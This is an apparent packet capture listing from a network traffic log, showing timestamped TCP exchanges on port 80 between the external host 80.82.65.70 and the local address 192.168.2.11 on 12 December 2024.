                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.178673983 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.178807974 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.178879976 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.183193922 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.183305025 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.183394909 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.187580109 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.187689066 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.187764883 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.191147089 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.191262007 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.191338062 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.194752932 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.194895029 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.194974899 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.198122978 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.198214054 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.198301077 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.201632977 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.201705933 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.201775074 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.202016115 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.205138922 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.205210924 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.205286026 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.206293106 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.208673954 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.208733082 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.208798885 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.212376118 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.212412119 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.212485075 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.236520052 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:01.356453896 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.157536030 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.157641888 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.157638073 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.157742023 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.158803940 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.158907890 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.158993959 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.161227942 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.161315918 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.161333084 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.161386967 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.163795948 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.163873911 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.163944960 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.163999081 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.166215897 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.166378021 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.166421890 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.166476011 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.168790102 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.168824911 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.168859959 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.168884039 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.171236038 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.171256065 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.171303988 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.171351910 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.173700094 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.173799038 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.173815966 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.173916101 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.176167965 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.176265955 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.176301956 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.176359892 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.178694963 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.178734064 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.178778887 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.178833008 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.181183100 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.181258917 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.181332111 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.181392908 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.235937119 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.236066103 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.236140966 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.236140966 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.236995935 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.237080097 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.237086058 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.237149954 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.239505053 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.239573002 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.239633083 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.239759922 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.241841078 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.241902113 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.242151976 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.242208958 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.244415045 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.244487047 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.244529009 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.244616985 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.246819973 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.246902943 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.246921062 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.246973038 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.249352932 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.249453068 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.249469042 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.249500036 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.251799107 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.251905918 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.251929045 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.251957893 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.254420996 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.254473925 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.254494905 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.254524946 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.256815910 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.256967068 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.257141113 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.257206917 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.259301901 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.259444952 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.259485960 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.259521961 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.261754990 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.261825085 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.261853933 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.261940002 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.264245033 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.264337063 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.264341116 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.264390945 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.266757011 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.266828060 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.266997099 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.267319918 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.269258022 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.269380093 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.269417048 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.269468069 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.271692991 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.271776915 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.271778107 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.271855116 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.274204016 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.274256945 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.274288893 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.274339914 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.276849031 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.276855946 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.276946068 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.279146910 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.279208899 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.279248953 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.279298067 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.281663895 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.281742096 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.281766891 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.281833887 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.284133911 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.284198999 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.284312963 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.284373045 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.286689997 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.286756039 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.356189966 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.356241941 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.356301069 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.356302023 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.357439995 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.357518911 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.357563972 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.357692957 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.359931946 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.360014915 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.360058069 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.360119104 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.362538099 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.362621069 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.362648964 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.362699032 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.364937067 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.364999056 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.365045071 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.365076065 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.367445946 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.367525101 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.367531061 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.367585897 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.369982958 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.370057106 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.370063066 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.370119095 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.372705936 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.372872114 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.372951984 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.374874115 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.374950886 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.375010014 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.375117064 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.377403975 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.377480984 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.377515078 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.377573967 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.379941940 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.380001068 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.380125999 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.380253077 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.382375002 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.382431984 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.382515907 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.382569075 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.384905100 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.385000944 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.385023117 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.385082006 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.387340069 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.387398958 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.387480974 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.387586117 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.389831066 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.389925957 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.389945984 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.390022993 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.392312050 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.392371893 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.392421961 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.392421961 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.394845009 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.394963980 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.395031929 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.397305012 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.397433043 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.397496939 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.399848938 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.399907112 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.399951935 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.400003910 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.402364969 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.402431011 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.402496099 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.402549028 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.404786110 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.404858112 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.404901981 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.404958963 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.407253027 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.407332897 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.407377005 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.407435894 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.409790993 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.409941912 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.410010099 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.411397934 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.411457062 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.411462069 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.411520004 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.412786007 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.412866116 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.412866116 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.412919044 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.414210081 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.414269924 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.414411068 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.414485931 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.415664911 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.415720940 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.415750980 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.415782928 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.428036928 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.428164959 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.428210020 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.428245068 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.428636074 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.428690910 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.428800106 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.428945065 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.430216074 CET804981980.82.65.70192.168.2.11
